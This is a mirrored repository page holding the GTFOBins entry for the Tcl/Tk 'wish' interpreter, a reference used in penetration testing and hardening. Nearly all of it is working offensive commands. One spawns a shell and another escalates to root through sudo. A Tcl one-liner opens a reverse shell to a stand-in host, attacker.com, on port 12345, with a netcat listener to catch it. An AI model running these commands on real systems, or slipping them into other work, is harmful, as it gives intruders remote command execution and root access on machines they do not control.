This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-01 13:11:40 +01:00
Code
Issues
a4e55ccd5e
GTFOBins.github.io
/
_gtfobins
/
wish.md
Emilio Pinna
dd337b5ddf
Adopt new function names
2018-10-05 18:55:38 +01:00
590 B
Raw
Blame
History
functions
shell
non-interactive-reverse-shell
sudo
code
wish exec /bin/sh <@stdin >@stdout 2>@stderr
description
code
Run `nc -l -p 12345` on the attacker box to receive the shell.
export RHOST=attacker.com export RPORT=12345 echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | wish
code
sudo wish exec /bin/sh <@stdin >@stdout 2>@stderr